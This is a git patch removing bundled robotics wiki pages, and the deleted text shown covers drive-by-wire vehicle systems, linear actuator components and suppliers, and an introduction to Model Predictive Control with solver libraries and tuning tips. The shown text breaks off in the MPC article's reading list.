From e4babb8dbca542d01049f5f9d16213f4a9ddaaba Mon Sep 17 00:00:00 2001 From: Nevin Valsaraj Date: Fri, 8 May 2026 00:23:18 -0700 Subject: [PATCH] chore(wiki): remove all_subsections bundles --- wiki/actuation/__all_subsections.md | 1077 -------- wiki/common-platforms/__all_subsections.md | 1535 ----------- wiki/computing/__all_subsections.md | 808 ------ wiki/datasets/__all_subsections.md | 236 -- wiki/fabrication/__all_subsections.md | 504 ---- wiki/interfacing/__all_subsections.md | 742 ------ wiki/machine-learning/__all_subsections.md | 1359 ---------- wiki/math/__all_subsections.md | 319 --- wiki/networking/__all_subsections.md | 312 --- wiki/planning/__all_subsections.md | 893 ------- wiki/programming/__all_subsections.md | 543 ---- wiki/project-management/__all_subsections.md | 614 ----- wiki/sensing/__all_subsections.md | 1586 ----------- wiki/simulation/__all_subsections.md | 386 --- wiki/state-estimation/__all_subsections.md | 1216 --------- .../__all_subsections.md | 544 ---- wiki/tools/__all_subsections.md | 2354 ----------------- 17 files changed, 15028 deletions(-) delete mode 100644 wiki/actuation/__all_subsections.md delete mode 100644 wiki/common-platforms/__all_subsections.md delete mode 100644 wiki/computing/__all_subsections.md delete mode 100644 wiki/datasets/__all_subsections.md delete mode 100644 wiki/fabrication/__all_subsections.md delete mode 100644 wiki/interfacing/__all_subsections.md delete mode 100644 wiki/machine-learning/__all_subsections.md delete mode 100644 wiki/math/__all_subsections.md delete mode 100644 wiki/networking/__all_subsections.md delete mode 100644 wiki/planning/__all_subsections.md delete mode 100644 wiki/programming/__all_subsections.md delete mode 100644 wiki/project-management/__all_subsections.md delete mode 100644 wiki/sensing/__all_subsections.md delete mode 100644 wiki/simulation/__all_subsections.md delete mode 100644 wiki/state-estimation/__all_subsections.md delete mode 100644 wiki/system-design-development/__all_subsections.md delete mode 100644 wiki/tools/__all_subsections.md diff --git a/wiki/actuation/__all_subsections.md b/wiki/actuation/__all_subsections.md deleted file mode 100644 index 39379a57..00000000 --- a/wiki/actuation/__all_subsections.md +++ /dev/null @@ -1,1077 +0,0 @@ -/wiki/actuation/drive-by-wire/ - ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-12-07 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Drive-by-wire Conversion for Autonomous Vehicle -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -Drive by wire technology in the automotive or aviation industry is the use of electrical or electromechanical systems for performing vehicle functions traditionally achieved by mechanical linkages. This technology replaces the traditional mechanical control systems with electronic control systems using electromechanical actuators and human–machine interfaces such as pedal and steering feel emulators. - -In the autonomous driving vehicle applications, the drive-by-wire system enables the autonomous software, or teleoperation software, to provide commands to the vehicle, using control methodology to steer, brake, accelerate and change gear where necessary, whilst also passing back data on the current vehicle “state”. In terms of uses in passenger cars, the drive-by-wire vehicle contains “throttle-by-wire”, “brake-by-wire”, “steer-by-wire” and “park-by-wire”. Modern DBW systems consist of an electronic pedal assembly that has redundant pedal position sensors where the pedal assembly features two position sensors that send the pedal position information to the ECU. - -## Types of Drive-by-wire Systems - -In a typical hydraulic and mechanical system, there's a big tangle of parts that control different aspects of the vehicle's operation. Connected throughout the car is the brake booster, master cylinder, steering column, steering shaft, rack-and-pinion gear, hydraulic lines and various cables and links. These components work together and independently to give us a smooth driving experience. However, they also add weight to the vehicle and a potential for degradation over time. - -In a drive-by-wire system, most or all of this would be replaced by electrical wires. In any type of by-wire system, sensors record information and pass data to a computer or a series of computers, which transfer the electrical energy into mechanical motion. There are several different types of drive-by-wire systems, which is why it's sometimes referred to generally as x-by-wire. Here are a few of the main by-wire systems: - -### Throttle-by-wire -Throttle-by-wire, or accelerate-by-wire, was the first type of drive-by-wire system introduced. These systems use a pedal unit and an engine management system. The pedal uses sensors that measure how much or how little the driver moves the accelerator, and the sensors send that information to the engine management system. The engine management system is a computer that, among other tasks, determines how much fuel is required, and it provides this input to an actuator -- a device that converts energy into mechanical motion. The pedal could be the same pedal drivers have become accustomed to using today, an easy-to-reach pad placed near the foot that's pressed down in order to accelerate the car. The same operation could also be incorporated into a joystick or videogame-like controller, which would get rid of the need for a foot pedal completely. Of course, this would require drivers to use their hands for acceleration, braking and steering. - -As shown in the figure below, With throttle by wire a sensor is attached to the gas pedal and detects how far it has been pressed. This information is then sent down a wire to the car's computer. The computer analyzes the information and commands a motor to open the butterfly in the throttle body. Since the computer is in control of the throttle opening things like idle speed control, cruise control, and traction control can easily be integrated. Because automatic transmissions are also usually controlled by the computer it can adjust the throttle during gear changes. It also allows the addition of eco or sport buttons to change the way the throttle reacts when pressed, increasing fuel economy or throttle response. - -![Throttle-by-wire Outline](/assets/images/actuation/throttle-by-wire.png) - -### Brake-by-wire -There are two types of brake-by-wire systems. Hydraulic, or "wet," brake-by-wire uses additional hydraulic parts to create pressure on the brakes. Electric, or "dry," brake-by-wire, on the other hand, simply uses an electric motor and no hydraulic brake fluid. - -Brake-by-wire technology is seen by some as more dangerous than electronic throttle control because it involves removing the physical connection between the driver and the brakes. However, brake-by-wire is a spectrum of technologies that range from electro-hydraulic to electromechanical systems, and both can be designed with fail-safes in mind. - -Traditional hydraulic brakes make use of a master cylinder, as well as several slave cylinders. When the driver pushes on the brake pedal, it applies physical pressure to the master cylinder. In most cases, that pressure is amplified by a vacuum or hydraulic brake booster. The pressure is then transmitted via brake lines to the brake calipers or wheel cylinders. - -Anti-lock brake systems were early precursors of modern brake-by-wire technologies, in that they allowed the brakes of a vehicle to be pulled automatically with no driver input. This is accomplished by an electronic actuator that activates the existing hydraulic brakes. Other safety technologies have been built on this foundation. Electronic stability control, traction control, and automatic braking systems depend on ABS and are peripherally related to brake-by-wire technology. - -In vehicles that use electro-hydraulic brake-by-wire technology, the calipers located in each wheel are still hydraulically activated. However, they are not directly coupled to a master cylinder that is activated by pushing on the brake pedal. Instead, pushing on the brake pedal activates a series of sensors. The control unit then determines how much braking force is required at each wheel and activates the hydraulic calipers as needed. - -In electromechanical brake systems, there is no hydraulic component. These true brake-by-wire systems still use sensors to determine how much brake force is required, but that force is not transmitted via hydraulics. Instead, electromechanical actuators activate the brakes located in each wheel. - - -### Steer-by-wire -Sensors detect the movements of the steering wheel and send information to a microprocessor. The computer then sends commands to actuators on the axles, which turn according to the driver's directions. - -Most vehicles use a rack-and-pinion unit or worm-and-sector steering gear that is physically connected to the steering wheel. When the steering wheel is rotated, the rack-and-pinion unit or steering box also turns. A rack-and-pinion unit can then apply torque to the ball joints via tie rods, and a steering box will typically move the steering linkage via a pitman's arm. - -As shown in the figure below, in vehicles that are equipped with steer-by-wire technology, there is no physical connection between the steering wheel and the tires. Steer-by-wire systems don't technically need to use steering wheels at all. When a steering wheel is used, some type of steering feel emulator is typically used to provide the driver with feedback. - -![Steer-by-wire Outline](/assets/images/actuation/steer-by-wire.png) - -## Benefits and Drawbacks of Drive-by-wire Systems -Some people are excited about the prospect of more drive-by-wire systems in cars. By replacing conventional throttle systems, drive-by-wire systems can significantly reduce the number of moving parts in a vehicle. This reduces weight, increases operational accuracy and stretches out the time between service visits for things like mechanical maintenance and other adjustments. Some by-wire systems wouldn't even require service at all. Less weight and better accuracy would equal better fuel efficiency and fewer emissions, too. - -Although it's well-established in the airline industry, drive-by-wire has been slow in its introduction to the car. The problem for some car manufacturers is in convincing drivers that the systems are safe. Because of the complexity of drive-by-wire systems, some people worry about potential electronic malfunctions in sensors and computers, leading to vehicle damage or even car accidents and passenger injury. - -One argument against drive-by-wire is that any system using software has the ability to fail regardless of how many times that software has been tested. In a worst-case scenario, for example, the sensors on a brake-by-wire system could make an error in calculation, causing the brake caliper and pads to apply an incorrect amount of pressure -- either too light or too strong -- to the rotor. Unaware of any internal system problems, the driver using the brake-by-wire system could potentially get into an accident, even though he or she thought the correct amount of pressure was being placed on the brake pedal. - -In any case, most people refer to the saying that any software is only as good as the programmers and manufacturers who built and designed it. Because of the reliability of fly-by-wire in airplanes, it's likely that experience and product testing could bring more drive-by-wire systems safely to everyday cars. Several car companies are already using (or have used) various drive-by-wire systems in their vehicles, including BMW, Mercedes-Benz, Land Rover, Toyota, GM, Volkswagen and Nissan. - - -## References -- [Quick Tech | Drive-By-Wire Throttle Systems - DSPORT Magazine](https://dsportmag.com/the-tech/education/quick-tech-drive-by-wire-throttle-systems/) -- [What is Drive By Wire Technology in cars and How it works? Know More. - CarBikeTech](https://carbiketech.com/drive-by-wire-technology-working/) -- [Electronic Throttle Control (Drive By Wire)](https://www.picoauto.com/library/training/electronic-throttle-control-drive-by-wire-or-fly-by-wire) - - -/wiki/actuation/linear-actuator-resources/ ---- -date: 2018-05-14 -title: Linear Actuator Resources and Quick Reference -published: true ---- -Linear movement is necessary for many types of robotics and automation, from simple 3D Printers with belts and threaded rod to complex high precision stages for Industrial Automation equipment, there always is a need to move something in a straight line. - -This article will be a high level overview of linear actuator stage components and will cover basic types, terms, and resources for Electric linear actuation. We will cover Linear Rail/Guides, Belt Drives, Screw Based Systems, Rack and Pinions, Linear Motors (Synchronous, Induction, and a short mention of Piezoelectric), and indexing a linear stage. - -We will also have a section with common vendors of linear motion equipment and other useful articles for producing linear motion systems. - -## Linear Rails and Guideways -When you want to produce linear motion, you first must constrain the movement to only one degree of freedom along the direction of you wish to go. This is usually accomplished using linear guides or linear bearings/bushings if you cannot otherwise constrain the actuator. - -Linear bearing/bushing systems commonly consist of a bearing/bushing and a cylindrical rod of some sort with the bearing and rod having matched inner and outer diameters respectively within a certain tolerance. If it is a bearing system, there will be recirculating ball or cylindrical bearings rolling against the direction of motion of the bearing. If it is a bushing, it will usually be made of a material with good tribological (wear resistance) properties, such as oil infused bronze or tribologically optimized plastics. - -> A useful resource if you need a bushing that has good wear resistance, but you cannot find the right form factor, is Igus. They provide tribologically optimized Materials Extrusion printer filament for printing custom bushings (See Further Reading.) - -The downside to Linear Rails of the bearing/bushing type is that they are usually unconstrained in rotation so you must constrain rotation in another way (eg. a leadscrew.) - -Linear Guideways on the other hand, constrain motion in rotation also. These also usually use recirculating bearings to guide motion but the profile of the rod is non-circular. The different types of bearing configurations such as roller bearing, two point contact, or gothic arch affect the load rating in different directions. - -> One useful tip while designing linear guideway platforms with multiple parallel guideways (ex. a XY gantry system) is to machine extremely small alignment shelves for the linear guideways to be referenced against. This will ensure that as long as the machining is done parallel to the machines axis and in one operation that the shelves and thus the guideways will be as parallel as the machine that produced the shelves. - -Linear guideways can provide extremely precise linear motion but are usually prices higher in comparison to circular bearings/bushings. Many relatively cheap chinese knockoffs of brands such as Hiwin are available on Ebay. Common problems with these models can include large amounts of slop in the carriage fit and grooves created in your rails over time as cheap rails may be softer than the hardened steel ball bearings. - -One thing to consider while designing a system using either rails or guides with bearings is the preload applied by the manufacturer. When a bearing is preloaded, there is an extremely small interference fit between the ball bearings and the gap between the bearing surfaces in the carriage and on the guide/rail. this ensures there is no slop between the rail and the carriage but increases both price and rolling resistance. - -> Other solutions that exist include roller bearing carriages that ride on roller bearing wheels sometimes in v-slot extrusion and air bearings/hydrostatic bearings which ride on a small layer of air/oil respectively for a extremely smooth, low friction ride. There are also linear motion elements called ball splines which constrain linear motion, but can also be used to transmit rotational motion to the carriage. - -## Belt Drive systems -A belt drive is, at its heart, a conveyor belt with the carriage attached to the conveyor. In the simplest setup, a Timing Belt is driven by rotary motor with the belt looping around an idler at the other end of travel. The load is then attached to fixed point on the belt. As long as the belt is straight going in the direction of travel, the load will move the diameter of the drive wheel without the teeth. The large advantage to belt drive in prototyping systems is a much lower cost for large systems compared to all other options in addition to relatively high speeds and accelerations. The disadvantage is relatively low load capacity for actuation force. - -Important considerations for belt drive systems include belt material, tooth profile, and proper belt tensioning. - -The material of a belt determines how much stretch a belt will have which is directly related to the hysteresis in a belt system, where a belt acts like a spring until the drive motor has moved enough to overcome the stretch in the belt. This also affects how often the belt will have to be tensioned. Belts commonly come with kevlar, carbon fiber, or steel cores to prevent stretching. - -It is extremely important to get matching tooth profiles for your drive wheel and your belt. The different profile types are designed for different types of load and have different pitches (teeth/unit length) and profile designs. If you get a belt with the same pitch but a different profile, they may not fit together correctly, causing the belt to slip or move a small amount more or less than desired while under the design loads. Common timing belt profiles include GT2 and MXL. - -Correct tension is critical to belt drive operation. Remember to include some method to adjust belt tension if your design. As belts wear, they stretch and thus loose tension. If there is not enough tension, the belt can slip on the teeth producing "lost motion." Extremely over tensioned belts are harmful also, they will unnecessarily load your belt , drive wheel, and motor shaft, causing premature wear and failure. - -> Other belt configurations for XY Gantries exist other than a simple cartisan configuration. Other systems include H-Bot and [CoreXY](http://corexy.com/) which trade mechanical advantage for longer belt runs and thus more stretch and hysteresis. See Further Reading for more. - -## Screw Based Systems -Screw based systems act upon the principle of a simple machine screw. Some sort of nut and screw are used with one being constrained to not rotate while the other rotates to drive the linear motion. Conventionally it is the screw that rotated, but in systems where multiple systems need to more on the same axis and may interfere with each other, you can rotate the nut and hold the screw to fit multiple actuators on the same screw. - -Any screw system has a couple of common parameters. These are pitch, lead, starts, and diameter. - -Pitch is how many threads per linear distance unit exist on a screw. - -In contrast, lead is how much distance a nut will travel with one revolution of the screw. - -The relationship of these two quantities is known as starts, and what it actually represents are how many actual thread "lines" exist on a screw shaft, this value is similar to the number of flutes on a machine tool. - -The Lead, which is the important value when calibrating a system, is the pitch times the number of starts. - -The two types of screw based systems in linear motion are leadscrews and ballscrews. - -A leadscrew is equivalent to a bushing in a linear rail system. The threads rely on low friction interfaces to slide relative to each other to produce linear motion. In practice, this is achieved by polishing the surface of the lead screw or teflon coating the inside surfaces of the threads. When a leadscrew is running for a long time or at high speeds it will generate a lot of heat which can cause differential expansion in the materials and cause a leadscrew to fail prematurely. Generally, depending on the lead, a leadscrew will me relatively slower and have less actuating force than other common varieties of linear motion. - -In contrast, a ballscrew would be the "bearing" to the leadscrew's "bushing". A ballscrew uses recirculating bearing balls just like the linear rails and guides. This greatly lowers friction in the system and thus increases maximum speeds and decreases heat generation. This negates most of the disadvantage to leadscrew based systems, but comes at both a monetary cost as well as an engineering cost. The monetary cost for ballscrews is much higher than leadscrews due to the precision of manufacturing required. - -There are two types of ballscrews available at different price points, rolled ballscrews and ground ballscrews. Rolled ballscrews are formed by taking a piece of round material and rolling it between two forming dies which form the ball bearing profile for the threads. Ground ballscrews are precision ground by CNC machines. In general, rolled ballscrews will have looser tolerance and more variation at a lower cost. - -The engineering cost is that another major difference is that leadscrews are relatively non-backdrivable depending on the lead angle which is the angle of the thread helix. This is desirable in some applications such as heavy Z-Axis on CNC machines. If power is disengaged from a leadscrew based actuator, friction will keep a heavy load from falling, whereas with a much lower friction system in the ballscrew, the axis will fall straight down if there is not a electronic or mechanical brake installed which stops it from turning while motor power is off. - -As a screw system, if not preloaded, ballscrew and leadscrew will both have backlash, causing lost motion. This can be combated for ballscrews in the same way as linear bearings, but leadscrews, unlike bushings, and also reduce backlash by using what is called an Anti-Backlash nut. This consists of two lead nuts connected by a spring that is slightly compressed when the lead nut is screwed onto the lead screw. One lead nut will be pressed against the top of the threads while the other will be pressed against the bottom, preventing backlash. This does increase friction and thus heat generation. - -Ballscrews and leadscrews also act as gearing based on the lead. A lower lead will provide more linear force for the same torque. They also are extremely rigid systems and commonly show up in high force, high precision applications such as manufacturing. - -## Rack and Pinion Systems -A Rack and Pinion is essentially a gear with a circumference of your desired travel that has been unrolled. -As with traditional gears, rack and pinions can have straight cut or helical gear teeth and can deliver high forces for long travel ranges at a reasonable cost. Like a belt, a Rack and Pinion can maintain relatively high speeds, but unlike a belt, a rack and pinion can drive heavy loads without needing tensioning. - -The actuation force is higher for lower pinion diameters, but your achievable speeds will go down as the circumference decreases. Circumference will also determine the resolution with indexed motors with a higher resolution for smaller circumferences. - -The major disadvantage to rack and pinion systems is that, as with gear systems, backlash will cause lost motion when switching travel directions. Unlike a leadscrew, removing backlash on a rack and pinion is not cheap. Solutions include having two identical pinions slightly next to each other slightly offset in angle. A torsion spring is then used to have one gear press against one side of the rack teeth while the other is pressed against the opposite side. There are also electronic solutions which do much the same thing. This can push the price of a ballscrew system lower than that of a rack and pinion very quickly depending on tolerances. - -## Linear Motors -Linear Motors are brushless rotational motors unrolled into long flat stages. Linear motors are made up of two sections, the forcer and the platen. The forcer contains the energized coils that create magnetic fields to move the "rotor" (note, nothing actually rotates, the rotor in this case is just the moving part, the stator is the stationary part) while the platen is either a flat aluminum plate for an induction motor or a piece with magnets end to end in a SNNSSN type configuration, where the repelling ends are forced together for what are called synchronous motors. - -DC "brushed" Linear Motors do exist, but they are not usually used for linear motion due to current requirements and high friction at common linear motor actuation speeds. They are most commonly used in railgun type applications. - -Induction motors use Lenz's Law to create opposing magnetic fields in the metal plate below them with coils of wire around a magnetic core. They are commonly 3 phase AC motors and are sometimes used in high performance applications. They also produce a levitating effect which makes them well suited to maglev type applications. - -Synchronous motors use permanent magnets and multiple phases instead of induction. This makes them more expensive for long travel than Induction motors. The magnetic field of the permanent magnets provides much increased force and accelerations. There are a couple of common constructions of synchronous motors including U-channel, linear shaft motors, and a special case, linear stepper motors. - -U-channel motors have a set of coils held between the permanent magnets on both sides of a piece of precision machined u-channel. Linear shaft motors have the magnets constrained inside a precision ground shaft like a linear bushing with the coils in the carriage going around the shaft. Linear stepper motors are simply 2 phase (90 degree phase offset) brushless linear motors and can be controlled with standard stepper motor drivers for high holding torque in open loop configurations. - -The major advantage to offset the extremely large cost of linear motors is their ability to generate incredible accelerations and speeds compared to even belts and ballscrews. Maximum accelerations of more than 10Gs are possible with small loads. Another factor is that linear motors can be completely non-contact unlike all other linear motion systems with their linear guides if air or hydrostatic guides are used. This provides for extremely smooth motion for sensitive applications like metrology where the slightest imperfection in a guiderail would otherwise cause inaccuracy. - -The last, uncommon type of linear motor is the piezoelectric motor. These motors use the piezoelectric effect to essentially walk along a shaft in extremely small increments. These motors can produce extremely precise and accurate movement with the highest of resolutions, but are as slow as a snail. If you need a piezoelectric motor, you'll probably know you need a piezoelectric motor. - -## Stage Indexing -In order to perform precise position control for linear actuators, some sort of index is needed so that a reference point can be established. This can come in several forms. - -One extremely frugal way to perform this is with a hard stop, if you are using a stepping type motor in open loop mode for any linear actuator, if you drive the axis into a hard stop, you know your position. This was what was done with old floppy drives in order to get a zero position with no sensor. - -Many different types of sensor can be used to index an axis. These include physical switches, optical interrupters, capacitive and laser distance measurement sensors, and one very important class of sensors known as encoders. - -Encoders are used to determine how far an axis has moved, and potentially where the axis is on its travel. They operate via either optical or magnetic disks(rotary motion) or strips(linear motion) which, when run past a sensor will produce a specific series of digital outputs corresponding to movement. These can come in absolute varieties where the digital outputs will tell you the exact position on the encoder disk or strip you are reading, or incremental varieties where the number of pulses counted will correspond to how far the rotary or linear axis has moved. A incremental encoder can also come with a index channel witch can provide a point of reference on where to start in your travel. - -Both varieties of encoders can be used to implement closed loop position, velocity, and torque/force control with any variety of motor be it linear or rotary. - -For non stepper type synchronous linear motors, there is one more type of relevant sensor. A synchronous linear motor must have feedback in order to time its phases to move in the correct order/direction. This can be accomplished with an linear encoder strip or Hall Effect Sensors. The Hall Effect Sensors will read the Magnetic field intensity and the peaks for north and south can be used to index where the coils are in relation to the magnets. This can also be used for coarse position feedback for control algorithms. - -## Sourcing Parts - -Here are some common and reputable vendors for linear motion equipment. - - - Linear Guides and Rails: Misumi, McMaster Carr, Micromo (miniature rails/guides), Hiwin, THK, Nippon Bearing - - Belt Drive Systems: McMaster Carr, Misumi, SPD-SI, Micromo (miniature), Parker - - Screw Based Systems: McMaster Carr, Misumi, THK, Hiwin, Nippon Bearing, Lin Engineering(Leadscrews with integrated steppers), Parker - - Rack and Pinion: McMaster Carr, Parker - - Linear Motors: Parker, Faulhaber, Nippon Pulse, H2W Technologies(Linear Steppers/Motors), Northern Magnetics(Defunct, widely available on ebay, compatible with some H2W Technologies parts) - - Indexing: Omron, McMaster Carr, Digikey, US Digital(Reasonably Priced Linear Strip Encoders) - - Linear Stages(Actuator+guide integrated): THK, Hiwin, Parker, Nippon Bearing, H2W Technologies - - -## Summary -This has been a very wide overview of common linear actuation technologies. It is important to choose the right actuator type for your needs and budget. - - -## Further Reading - - [Hiwin Linear Guide Video](https://www.youtube.com/watch?v=2I44OT7c_MY) - - [Hiwin Ballscrew Video](https://www.youtube.com/watch?v=K3i-Ecb698g) - - [Hiwin Linear Motor Video](https://www.youtube.com/watch?v=mvkcupVxMEI) - - [Linear Shaft Motor Video](https://www.youtube.com/watch?v=Bxs2PFg0luw&t=329s) - - [Igus TriboFilament](https://www.igus.com/3d-print-material/3d-print-material) - -/wiki/actuation/model-predictive-control/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-05-04 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: Model Predictive Control Introduction and Setup -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -​ Model Predictive Control (MPC for short) is a state-of-the-art controller that is used to control a process while satisfying a set of constraints. In this article, we will discuss what MPC is and why one might want to use it instead of simpler but usually robust controllers such as PID control. We will also include some useful resources to get started. - -## What is MPC? -​ As stated above, MPC is an advanced state-of-the-art controller that is used to control a process or system while satisfying a set of constraints. It requires a good model of the system or process being controlled, as one of the constraints to satisfy is the dynamics model itself. This dynamics model is then used to make future predictions about the system's behavior to find the optimal control input to minimize the objective function. This minimization is done over a chosen finite time horizon. - -​ Because MPC has a control input vector, and also has a state vector, it also has the ability to be multi-input multi-output. For example, for a multi-dof manipulator system, MPC could handle multiple joint torques (or whatever control input) to control the outputs (joint positions, velocities, etc.). This doesn't just apply to manipulators, however. It can apply to any system ranging from UGVs to quadcopters as well. If one is familiar with LQR control, MPC is a finite time horizon version of LQR with constraints. - -## Why MPC? - -​ You should choose MPC because it integrates system constraints, something that normal PID control cannot do easily. Furthermore, the dynamics of the environment may change over time, and MPC allows for an easy way to estimate those dynamics and adjust accordingly. PID control is normally not for systems whose dynamics change often (such as the dynamics of drilling differing bone densities as we ream further and further into bone) because the gains for the PID may need to change to produce desired responses. If not, then the changing dynamics may cause overshooting (a very undesired response when drilling into a person). MPC is also multi-input multi-output, allowing for multiple inputs to vary the output of the system. This is possible in PID, but requires either separate axes of control or additional control loops (which is fine, but not simple). - -## Formulating the Optimal Control Problem - -​ The first step to setting up an MPC is to define your optimal control problem (OCP for short). The Optimal Control Problem contains the following components: the objective function, the dynamics model, and the system constraints. It usually takes the form of the following: -$$ -min_{x,u}(f(x))\\ -s.t.\\d(x,u) = 0\\ -c(x,u) \leq 0 -$$ -​ Where the first line is the objective or cost function that we are trying to minimize, the second line d(x, u) = 0, is the dynamics constraint, and the third line, c(x, u) less than or equal to 0, are additional constraints. - -The objective or cost function usually takes similar form to LQR cost functions as a quadratic, convex function with hyperparameters Q and R, which determines what states or inputs are most important to minimize over the time horizon. An example is shown below: -$$ -min_{x,u,k\epsilon[1,H]} \frac{1}{2}x^{T}_{H}Q_{f}x_{H} + \sum_{k=1}^{H-1}{\frac{1}{2}x^{T}_{k}Qx_{k} + \frac{1}{2}u^{T}_{k}Ru_{k}} -$$ -where H is the time horizon, Q is the matrix determining cost of states, Qf is the matrix determining the cost of the terminal states, and R is the matrix determining the cost of the inputs. Just like in LQR, the goal of the controller is to minimize this objective/cost function. - -​ The dynamics constraint, d(x,u) = 0, is the constraint that takes the following form. Let's say the following function is your dynamics: -$$ -\dot x = f(x,u) -$$ -Then the dynamics constraint takes the following form: -$$ -d(x,u) = f(x,u) - \dot x = 0 -$$ -​ The other constraints, c(x,u), can be any other constraints one might have on the system. For manipulators, this could be joint position, velocity, or torque limits, for example. For rockets, it could be -$$ -p_{z} \geq 0\\ -$$ -since the rocket can not physically go below the ground in reality (without a catastrophe at least). An example of formulating the Optimal Control Problem can be found in Appendix A below. This example is from a former team, MRSD 2022 Team C for an manipulator that drills/reams the hip socket (acetabulum). - -## Getting Started With Implementation - -​ There are a lot of different languages and libraries to implement MPC in, but the recommended ones are C++ and Julia. The solvers listed below should list the optimal control inputs. These can be generated both offline or online and used on the system. For online systems, it is best to do one MPC solve every time step , use the first control input for the upcoming time step, and then repeat. - -#### Julia - -​ Julia is a scripting language, which allows for fast prototyping, while having very similar speeds to C++. There are however some caveats with using Julia. First, it is not as well supported as C++ (although many of the libraries needed to implement MPC are available). Second, similar to other languages, the runtime performance is very dependent on making sure that there are no global variables, and that allocation of memory is minimized during runtime. The benefits of Julia is that it is simple to code in (very similar syntax to Matlab and Python), it has lots of shortcuts for writing code that would take multiple lines in C++, and it can sometimes outperform C++ if done correctly. This allows for very robust code while also having fast iteration time. - -If you are using Julia as a coding language, the following libraries are recommended for use (although there may be others that can be of use): - -**Dynamics Models/Simulation** - -- RigidBodyDynamics.jl: https://github.com/JuliaRobotics/RigidBodyDynamics.jl - - This library is a general rigid body dynamics library that allows for fast calculations of rigid body dynamics. The nice thing about this library is that you can import a urdf and perform any dynamics calculations with the imported urdf easily. -- Tora.jl: https://juliarobotics.org/TORA.jl/stable/ - - This library uses the RigidBodyDynamics.jl library for trajectory optimization specifically for robotic arms. -- RobotDynamics.jl: https://github.com/RoboticExplorationLab/RobotDynamics.jl - - This library was developed as a common interface for calling systems with forced dynamics. For the example in Appendix A, this library was a wrapper for RigidBodyDynamics to allow it to be used with TrajectoryOptimization.jl and ALTRO.jl mentioned below. -- Dojo.jl: https://github.com/dojo-sim/Dojo.jl - - A relatively new simulator that can simulate dynamics (haven't explored this one too much) -- MuJoCo.jl: https://github.com/Lyceum/MuJoCo.jl - - Ports over the MuJoCo simulator to Julia for simulation - -**Trajectory Optimization** - -- TrajectoryOptimization.jl: https://github.com/RoboticExplorationLab/TrajectoryOptimization.jl - - This library was developed for defining and evaluating optimal control problems, or trajectory optimization problems. In this library, one can define the objective/cost function, the desired trajectory, the system constraints, and initial guesses for trajectories. - -**Solvers** - -- ALTRO.jl: https://github.com/RoboticExplorationLab/Altro.jl - - This library was uses iterative LQR (iLQR) with an Augmented Lagrangian framework to solve trajectory optimization problems defined using the TrajectoryOptimization.jl library. It can solve both nonlinear and linear problems and constraints. This library was developed in the Robot Exploration Lab. More explanation of this library and a tutorial can be found in the github link above and in the links below: - - https://roboticexplorationlab.org/papers/altro-iros.pdf - - https://bjack205.github.io/papers/AL_iLQR_Tutorial.pdf -- OSQP.jl: https://osqp.org/ - - This library is available in multiple languages, with one of them being Julia. This library is a QP (Quadratic Program) Solver, and is generally used to solve linear optimization problems. It is sometimes faster than ALTRO and sometimes slower than ALTRO depending on the system. -- Ipopt.jl: https://github.com/jump-dev/Ipopt.jl - - This library is a nonlinear solver for trajectory optimization problem. Personally haven't explored much, but should have similar speeds to the other libraries above. - -**ROS Support** - -- RobotOS.jl: https://github.com/jdlangs/RobotOS.jl - - This library is a wrapper for the rospy interface. It has been well tested and is stable. -- ROS.jl: https://github.com/gstavrinos/ROS.jl - - This library is a wrapper for the roscpp interface. It hasn't existed for a long time so it may have some bugs and stability issues. If you need speed, use this, but be aware of potential bugs. - -#### C++ - -​ C++ is also a good choice for implementing MPC as MPC is computationally expensive to run, so fast runtime is necessary. It can outperform Julia if the code is properly optimized, but it may have slower iteration time than Julia since it is not a scripting language. Use C++ if you need faster runtime performance. Personally haven't explored C++ implementation too much, but if you are using C++ here are some libraries that can be used: - -**Dynamics Models/Simulation** - -- Pinocchio: https://github.com/stack-of-tasks/pinocchio - - A general rigid body dynamics library that is one of the fastest dynamics solvers out there -- MuJoCo: https://mujoco.org/ - - Good simulator, which has a more accurate physics simulator than Gazebo, and is one of the top choices if using MPC - -**Problem Formulation & Solvers** - -- AltroCPP: https://github.com/optimusride/altro-cpp - - Implements the ALTRO.jl library in C++ -- OCS2: https://github.com/leggedrobotics/ocs2 - - A toolbox tailored for Optimal Control for Switched Systems (systems that switch modes). Implements SLQ, iLQR, SQP, PISOC algorithms. -- Crocoddyl: https://github.com/loco-3d/crocoddyl - - Optimal control library for robots under contact sequences, and it directly uses Pinocchio - -## Tips/Tricks - -- Many systems are nonlinear, which can be tricky when implementing an MPC on those systems since nonlinear systems can be nonconvex and may not always guarantee a solution. - - Some ways to help with this issue is to linearize the system if writing your own solver, or use some of the solvers listed above. - - The solvers for nonlinear systems often rely on a good initial guess to the control input or else the solver cannot solve the optimal control problem (since it may not be convex). For instance, for manipulators, a good intial guess is gravity compensation torques. Generally the initial guess needs to be what keeps the system at equilibrium for all times in the time-horizon. -- Since MPC is computationally expensive, sometimes it is hard to keep convergence times on these solvers low. Here are some tips to help: - - Make sure to optimize code, such as reducing memory allocation or using constants where you can (C++). - - Use RK3 to rollout the dynamics instead of RK4 since it requires less dynamics calls while still being decently accurate as long as you aren't predicting too far out. - - Reduce the time horizon. Having a shorter time horizon drastically reduces computation time, while sacrificing optimality for the entire trajectory. - - Reduce the number of states or constraints. More states or constraints increases computation time by a large factor. -- If your controller isn't accurate enough, then: - - Your dynamics model may not be accurate. May need to collect data from the real system or even train a reinforcement learning model on it and use that as the dynamics model. - - Use RK4 instead of RK3, while sacrificing longer computation time. - - Increase the time-horizon while sacrificing longer computation time. - - Reduce the dt (increase frequency) of the MPC. This will make it harder to implement since this means that your solver would have to converge even faster. -- You can have several MPCs running in parallel running different parts of your system. -- Last few lectures of Dr. Zachary Manchester's course on Optimal Control and Reinforcement Learning at CMU have some useful hacks. - -## Further Reading & Other Resources - -A highly recommended resource for understanding MPC and implementing MPC would be CMU Professor Dr. Zachary Manchester who leads the Robot Exploration Lab. He teaches a course on Optimal Control and Reinforcement Learning, which has all of the lectures, notes, and homeworks open source. See the links below: - -Lecture Notes and Homeworks: https://github.com/Optimal-Control-16-745 - -Lecture Videos: 